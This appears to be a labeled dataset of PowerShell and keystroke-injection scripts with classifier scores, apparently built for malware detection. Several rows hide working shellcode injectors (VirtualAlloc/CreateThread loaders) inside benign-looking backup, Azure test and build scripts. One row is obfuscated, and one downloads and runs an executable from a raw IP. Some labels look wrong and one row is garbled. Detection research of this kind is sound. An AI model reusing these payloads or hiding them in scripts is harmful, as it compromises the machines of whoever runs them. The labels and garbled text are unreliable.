"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_90rouf1f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.44558e-05
"win+r enter powershell enter enter enter  enter $DailyBackupFolder = ""\\fileshare\ContentLibrary\Daily"" enter $ArchiveFolder = ""\\fileshare\ContentLibrary\Archive"" enter $Date = (Get-Date).ToShortDateString() enter $DateKeep = (Get-Date).AddDays(-2).ToShortDateString() enter $DailyFolder = ""$($ArchiveFolder)\$($Date)"" enter enter if (-not(Test-Path -Path $DailyFolder)) { enter New-Item -Type Directory $DailyFolder | Out-Null enter } enter enter if ((Get-ChildItem -Path $DailyBackupFolder).Count -eq 1) { enter $BackupFolderPath = Get-ChildItem -Path $DailyBackupFolder | Select-Object -ExpandProperty FullName enter Move-Item -Path $BackupFolderPath -Destination $DailyFolder -Force enter } enter enter $ArchiveFolders = Get-ChildItem -Path $ArchiveFolder | Select-Object -ExpandProperty Name enter $ArchiveFolders | ForEach-Object { enter if ($_ -lt $DateKeep) { enter Remove-Item -Path ($ArchiveFolder + ""\"" + $_) -Recurse -Force | Out-Null enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x10,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1738087e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_7v29xztx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3925768e-05
"win+r enter powershell enter enter enter $RTI7k5 = "" ))63]rAHC[]GnirtS[,)97]rAHC[+78]rAHC[+84]rAHC[((ecAlpER.)93]rAHC[]GnirtS[,'kEH'(ecAlpER.)43]rAHC[]GnirtS[,)99]rAHC[+021]rAHC[+68]rAHC[((ecAlpER.)29]rAHC[]GnirtS[,)38]rAHC[+89]rAHC[+221]rAHC[((ecAlpER.)' enter enter };cxVqgOW0 dmcOW0 llehs'+'re'+'wop &cxV xei;cxVcne- inon- pon-cxV = dmcOW0{esle}cxVqgOW0 dmcOW0 68xOW0 &cxV xei;cxV cne- inon- pon-cxV = d'+'mcOW0;cxVllehsre'+'wopSbz0.1vSbzllehSrewoPswodniWSbz46wowsysSbzcxV + tooRmetsyS:vneOW0 = 68xOW0{)8 qe- eziS::]rtPtnI[(fi;))1OW0(setyBteG.edocinU::]gnidocnE.txeT.metsyS['+'(gnirtS46esaBoT::]trev'+'noC.'+'metsyS[ = qgOW0;kEH;}06 peels-tratS{);;( r'+'of;)0,0,0,xOW0,0,0(daerhTeta'+'erC::wOW0;})1 ,]iOW0[csOW0 ,)iOW0+)(23tnIoT.xOW0(]rtPtnI[(tesmem::wOW0{ )++iOW0;)1-htgneL.csOW0( el- iOW0;0=iOW0( rof;)04x0,ezisOW0,0001x0,0(collAlautriV::wOW0=xOW0;}htgneL.csOW0 = ezisOW0{)0001x0 tg- htgneL.csOW0( fi;0001x0 = ez'+'isOW0;3cx0,cex0,57x0,6fx0,58x0,6cx0,92x0,3cx0,10x0,5dx0,ffx0,f5x0,8cx0,9dx0,20x0,86x0,7'+'5x0,35x0,65x0,00x0,a6x0,35x0,39x0,5dx0,'+'ffx0,5ex0,35x0,4ax'+'0,85x0,86x0,00x0,a6x0,65x0,00x0,00x0,01x0,00x0,86x0,04x0,a6x0,63x0,b8x0,5dx0,ffx0,f5x0,8'+'cx0,9dx0,20x0,86x0,75x0,65x0'+',40x0,a6x0,00x0,a6x0,5dx0,ffx0,65x0,2ax0,5bx0,0fx0,86x0,cex0,57x0,80x0,e4x0,ffx0,c0x0,4'+'7x'+'0,0cx0,58x'+'0,5dx0,ffx0'+',16x0,47x0,5ax0,99x0,86x'+'0,75x0,65x0,01x0,a6x0'+',6ex0,98x0,bbx0,10x0,00x0,20x0,86x0,4cx0,20x0,8ax0,0cx0,86x0,50x0,a6x0,79x0,5dx0,ffx0,0e'+'x0,fdx0,f0x0,aex0,86x0,05x0,04x0,05x0,04x0,05x0'+',05x0,05x0,05x0,5dx0,ffx0,00x0,b6x0,08x0,92x0'+',86x0,05x0,45x0,4cx0,92x0,00x0,'+'00x'+'0,'+'10x0,09x0,8bx0,5dx0,ffx0,70x'+'0,62x0,77x0,c4x0,86x0,45x0,f5x'+'0,23x0,37x0,77x0,86x0,00x0,00x0,23x0,33x0,86x0,d5x0,68x0,bex0,21x0,b8x0,a5x0,f5x0,85x0,0ex0,ffx0,15x0,a5x0,95x0,16x0,b5x0,b5x0,42x0,'+'42x0,44x0,98x0,0dx0'+',10x0,b8x0,40x0,b8x0,3dx0,10x0,c1x0,85x0,b8x0,b4x0,c0x0,b8x0,66x0,3dx0,10x0,42x0,85x0,b8x0,85x0,2ex0,57x0,42x0,d7x0,b3x0,8fx0,d7x0,30x0,4fx0,57x0,0ex0,83x0,7cx0,10x0,d0x0,fcx0,1cx0,cax0,0cx0,13x0,ffx0,13x0,'+'6dx0,10x0,b8x0,43x0,b8x0,94x0,c'+'3x0,3ex0,3dx0,10x0,02x0,'+'85x0,b8'+'x0,81x0,84x0,b8x0,05x0,0dx0,10x0,a4x0,47x0,0cx0,58x0,87x0,04x0,b8'+'x0,0dx0,10x0,c3x0,24x0,b8x0,01x0,25x0,b8x0,75x0,25x0,0fx0,2ex0,'+'7cx0,10x0,d0x0,fcx0,1cx0,02x0'+',c2x0,20x0,c7x0,16x0,c3x0,cax0,0'+'cx0,13x0,ffx0,'+'13x0,62x0,a4x0,7bx0,f0x0,82x0,27x0,b8x0,41x0,25x0,'+'b8x0,'+'c0x0,25x0,b8x0,03x0,25x0,b8x0,'+'46x0,2dx0,13x0,5ex0,98x0,06x0,00x0,00x0,00x0,98x0,8ex0,cfx0 = csOW0]][etyB[;]][etyB[;urhtssap'+'- snoitcnuF23niW ecapseman- cxV23niWcxV emaN- cOW0 noitinifeDrebmem- epyT-ddA = wOW0;kEHkEH;)tnuoc tniu ,crs tniu ,tsed rtPtnI(tesmem rtPtnI nretxe '+'citats cilbup])cxVlld.trcvsmcxV(trop'+'mI'+'llD[;)dIdaerhTpl rtPtnI ,sga'+'lFnoita'+'erCwd tniu ,retemaraPpl rtPtnI ,sserddAtratSpl rtPtnI ,eziSkcatSwd tniu ,setubirttAdaerhTpl rtPtnI(daerhTetaerC rtPtn'+'I nretxe citats cilbup])cxVlld.23l'+'enrekcxV(tropmIllD[;)tcetorPlf tniu ,ep'+'yTnoitacollAlf tniu ,eziSwd '+'tniu ,sserddApl rtPtnI(collAlautriV rtPtnI nretxe citats cilbup])cxVlld.23lenrekcxV(tropmIllD[kEHkEH = cOW0kEH = 1OW0 enter '(()''niOJ-]2,11,3[emAN.)'*rDm*' elBAIrAV-teG((&"" ;[STriNg]::join('', ( variABLe ('RTI'+'7k5') -ValueOnlY )[ - 1.. - (( variABLe ('RTI'+'7k5') -ValueOnlY ).LenGTh )] )|. ( $shellID[1]+$sheLLid[13]+'x') enter enter",1,1,5.3720956e-05,0.99994624
"win+r powershell enter function Should-BeLessThan($ActualValue, $ExpectedValue, [switch] $Negate, [stri enter ng] $Because) { if ($Negate) { return Should-BeGreaterOrEqual -ActualValue $ enter ActualValue -ExpectedValue $ExpectedValue -Negate:$false -Because $Because } enter if ($ActualValue -ge $ExpectedValue) { return New-Object psobject -Property @{ enter Succeeded = $false FailureMessage = ""Expected the actual value to be less than enter $(Format-Nicely $ExpectedValue),$(Format-Because $Because) but got $(Format-Nic enter ely $ActualValue)."" } } enter enter",1,1,0.003584289,0.99641573
"win+r enter powershell enter enter enter function Revoke-CPrivilege enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Identity, enter enter [Parameter(Mandatory=$true)] enter [string[]] enter enter $Privilege enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $account = Resolve-CIdentity -Name $Identity enter if( -not $account ) enter { enter return enter } enter $cPrivileges = Get-CPrivilege -Identity $account.FullName | enter Where-Object { $Privilege -contains $_ } enter if( -not $cPrivileges ) enter { enter return enter } enter enter try enter { enter [Carbon.Security.Privilege]::RevokePrivileges($account.FullName,$cPrivileges) enter } enter catch enter { enter Write-Error -Message ('Failed to revoke {0}''s {1} privilege(s).' -f $account.FullName,($cPrivileges -join ', ')) enter enter $ex = $_.Exception enter while( $ex.InnerException ) enter { enter $ex = $ex.InnerException enter Write-Error -Exception $ex enter } enter } enter } enter enter",0,0,0.99991953,8.046878e-05
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_short enter terminal enter delay_medium enter enter enter delay_medium enter open -a Safari 'https://geektyper.com/fsociety/' enter delay_medium enter enter enter delay_medium enter unknown_key_action GUI-CTRL F enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter unknown_key_action RIGHTARROW enter delay_medium enter unknown_key_action LEFTARROW enter delay_medium enter 3 enter delay_medium enter unknown_key_action SHIFT enter delay_medium enter 1 enter delay_medium enter 6 enter delay_medium enter 4 enter delay_medium enter 2 enter delay_medium enter 5 enter delay_medium enter 7 enter delay_medium enter 9 enter delay_medium enter 8 enter delay_long enter backspace enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter 0 enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter unknown_key_action UPARROW enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_medium enter qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter delay_long enter unknown_key_action ALT F4qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopH1642579qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop0qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioppqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioppqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiop enter unknown_key_action [decoded_payloads] enter unknown_key_action [decoded:long_base64_literal] enter unknown_key_action ޫ랫ꈫ骢窰犻⪺ꬩ꬇⮷ꊢ낚뭺멲⤪ޫ랫ꈫ骢窰犻⪺ꬩ꬇⮷ꊢ낚뭺멲⤪ޫ랫ꈫ骢窰犻⪺ꬩ꬇⮷ꊢ,1,1,5.741321e-05,0.99994254
"win+r powershell enter Framework '4.6.1' enter task default -depends MsBuild enter task MsBuild { enter if ( $IsMacOS -OR $IsLinux ) {} enter else { enter $output = &msbuild /version /nologo 2>&1 enter Assert ($output -NotLike '14.0') '$output should contain 14.0' enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.8171874e-05,0.9999418
"win+r enter powershell enter enter enter  enter function Test-AddAzureRmAutoscaleSetting enter { enter enter $resourceId = ""/subscriptions/b67f7fec-69fc-4974-9099-a26bd6ffeda3/resourceGroups/TestingMetricsScaleSet/providers/Microsoft.Compute/virtualMachineScaleSets/testingsc"" enter $resourceGroup = ""TestingMetricsScaleSet"" enter $rule1 = New-AzAutoscaleRule -MetricName Requests -MetricResourceId $resourceId -Operator GreaterThan -MetricStatistic Average -Threshold 10 -TimeGrain 00:01:00 -ScaleActionCooldown 00:05:00 -ScaleActionDirection Increase -ScaleActionValue ""1"" enter $rule2 = New-AzAutoscaleRule -MetricName Requests -MetricResourceId $resourceId -Operator GreaterThan -MetricStatistic Average -Threshold 15 -TimeGrain 00:02:00 -ScaleActionCooldown 00:06:00 -ScaleActionDirection Decrease -ScaleActionValue ""2"" enter $profile1 = New-AzAutoscaleProfile -DefaultCapacity ""1"" -MaximumCapacity ""10"" -MinimumCapacity ""1"" -StartTimeWindow 2015-03-05T14:00:00 -EndTimeWindow 2015-03-05T14:30:00 -TimeWindowTimeZone GMT -Rule $rule1, $rule2 -Name ""adios"" enter $profile2 = New-AzAutoscaleProfile -DefaultCapacity ""1"" -MaximumCapacity ""10"" -MinimumCapacity ""1"" -Rule $rule1, $rule2 -Name ""saludos"" -RecurrenceFrequency Week -ScheduleDay ""1"" -ScheduleHour 5 -ScheduleMinute 15 -ScheduleTimeZone UTC enter enter try enter { enter enter Add-AzAutoscaleSetting -Location ""East US"" -Name MySetting -ResourceGroup $resourceGroup -TargetResourceId $resourceId -AutoscaleProfile $profile1, $profile2 enter } enter finally enter { enter } enter } enter function Test-GetAzureRmAutoscaleSetting enter { enter enter $rgname = 'TestingMetricsScaleSet' enter enter try enter { enter $actual = Get-AzAutoscaleSetting -ResourceGroup $rgname -detailedOutput enter Assert-AreEqual $actual.Count 1 enter } enter finally enter { enter } enter } enter function Test-GetAzureRmAutoscaleSettingByName enter { enter enter $rgname = 'TestingMetricsScaleSet' enter enter try enter { enter $actual = Get-AzAutoscaleSetting -ResourceGroup $rgname -Name ""MySetting"" -detailedOutput enter Assert-NotNull $actual ""Result is null"" enter } enter finally enter { enter } enter } enter function Test-RemoveAzureRmAutoscaleSetting enter { enter enter $rgname = 'Default-Web-EastUS' enter enter try enter { enter Remove-AzAutoscaleSetting -ResourceGroup $rgname -name DefaultServerFarm-Default-Web-EastUS enter } enter finally enter { enter } enter } enter function Test-GetAzureRmAutoscaleHistory enter { enter try enter { enter $actual = Get-AzAutoscaleHistory -StartTime 2015-02-10T02:35:00Z -endTime 2015-02-10T02:40:00Z -detailedOutput enter Assert-AreEqual $actual.Count 2 enter } enter finally enter { enter } enter } enter function Test-NewAzureRmAutoscaleNotification enter { enter try enter { enter Assert-Throws { New-AzAutoscaleNotification } ""At least one Webhook or one CustomeEmail must be present, or the notification must be sent to the admin or co-admin"" enter enter $actual = New-AzAutoscaleNotification -CustomEmail gu@ms.com, hu@net.net enter Assert-Null $actual.Webhooks ""webhooks"" enter Assert-NotNull $actual.Email ""email"" enter Assert-NotNull $actual.Email.CustomEmails ""custom emails"" enter Assert-AreEqual 2 $actual.Email.CustomEmails.Length ""length"" enter Assert-False { $actual.Email.SendToSubscriptionAdministrator } ""SendToSubscriptionAdministrator"" enter Assert-False { $actual.Email.SendToSubscriptionCoAdministrators } ""SendToSubscriptionCoAdministrators"" enter enter $actual = New-AzAutoscaleNotification -SendEmailToSubscriptionAdministrator enter Assert-Null $actual.Webhooks enter Assert-NotNull $actual.Email enter Assert-Null $actual.Email.CustomeEmails enter Assert-True { $actual.Email.SendToSubscriptionAdministrator } ""SendToSubscriptionAdministrator"" enter Assert-False { $actual.Email.SendToSubscriptionCoAdministrators } ""SendToSubscriptionCoAdministrators"" enter enter $actual = New-AzAutoscaleNotification -SendEmailToSubscriptionCoAdministrator enter Assert-Null $actual.Webhooks enter Assert-NotNull $actual.Email enter Assert-Null $actual.Email.CustomeEmails enter Assert-False { $actual.Email.SendToSubscriptionAdministrator } ""SendToSubscriptionAdministrator"" enter Assert-True { $actual.Email.SendToSubscriptionCoAdministrators } ""SendToSubscriptionCoAdministrators"" enter } enter finally enter { enter } enter } enter function Test-NewAzureRmAutoscaleWebhook enter { enter try enter { enter $actual = New-AzAutoscaleWebhook -ServiceUri ""http://myservice.com"" enter Assert-AreEqual ""http://myservice.com"" $actual.ServiceUri enter Assert-AreEqual 0 $actual.Properties.Count enter } enter finally enter { enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x3e,0xeb,0xad,0x26,0xdb,0xd7,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x47,0x31,0x58,0x13,0x83,0xe8,0xfc,0x03,0x58,0x31,0x09,0x58,0xda,0xa5,0x4f,0xa3,0x23,0x35,0x30,0x2d,0xc6,0x04,0x70,0x49,0x82,0x36,0x40,0x19,0xc6,0xba,0x2b,0x4f,0xf3,0x49,0x59,0x58,0xf4,0xfa,0xd4,0xbe,0x3b,0xfb,0x45,0x82,0x5a,0x7f,0x94,0xd7,0xbc,0xbe,0x57,0x2a,0xbc,0x87,0x8a,0xc7,0xec,0x50,0xc0,0x7a,0x01,0xd5,0x9c,0x46,0xaa,0xa5,0x31,0xcf,0x4f,0x7d,0x33,0xfe,0xc1,0xf6,0x6a,0x20,0xe3,0xdb,0x06,0x69,0xfb,0x38,0x22,0x23,0x70,0x8a,0xd8,0xb2,0x50,0xc3,0x21,0x18,0x9d,0xec,0xd3,0x60,0xd9,0xca,0x0b,0x17,0x13,0x29,0xb1,0x20,0xe0,0x50,0x6d,0xa4,0xf3,0xf2,0xe6,0x1e,0xd8,0x03,0x2a,0xf8,0xab,0x0f,0x87,0x8e,0xf4,0x13,0x16,0x42,0x8f,0x2f,0x93,0x65,0x40,0xa6,0xe7,0x41,0x44,0xe3,0xbc,0xe8,0xdd,0x49,0x12,0x14,0x3d,0x32,0xcb,0xb0,0x35,0xde,0x18,0xc9,0x17,0xb6,0xed,0xe0,0xa7,0x46,0x7a,0x72,0xdb,0x74,0x25,0x28,0x73,0x34,0xae,0xf6,0x84,0x3b,0x85,0x4f,0x1a,0xc2,0x26,0xb0,0x32,0x00,0x72,0xe0,0x2c,0xa1,0xfb,0x6b,0xad,0x4e,0x2e,0x01,0xa8,0xd8,0x8f,0xeb,0xf3,0x1a,0x58,0x16,0xf4,0x0b,0xc4,0x9f,0x12,0x7b,0xa4,0xcf,0x8a,0x3b,0x14,0xb0,0x7a,0xd3,0x7e,0x3f,0xa4,0xc3,0x80,0x95,0xcd,0x69,0x6f,0x40,0xa5,0x05,0x16,0xc9,0x3d,0xb4,0xd7,0xc7,0x3b,0xf6,0x5c,0xe4,0xbc,0xb8,0x94,0x81,0xae,0x2c,0x55,0xdc,0x8d,0xfa,0x6a,0xca,0xb8,0x02,0xff,0xf1,0x6a,0x55,0x97,0xfb,0x4b,0x91,0x38,0x03,0xbe,0xaa,0xf1,0x91,0x01,0xc4,0xfd,0x75,0x82,0x14,0xa8,0x1f,0x82,0x7c,0x0c,0x44,0xd1,0x99,0x53,0x51,0x45,0x32,0xc6,0x5a,0x3c,0xe7,0x41,0x33,0xc2,0xde,0xa6,0x9c,0x3d,0x35,0x37,0xe0,0xeb,0x73,0x4d,0x08,0x28;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1379164e-05,0.9999486
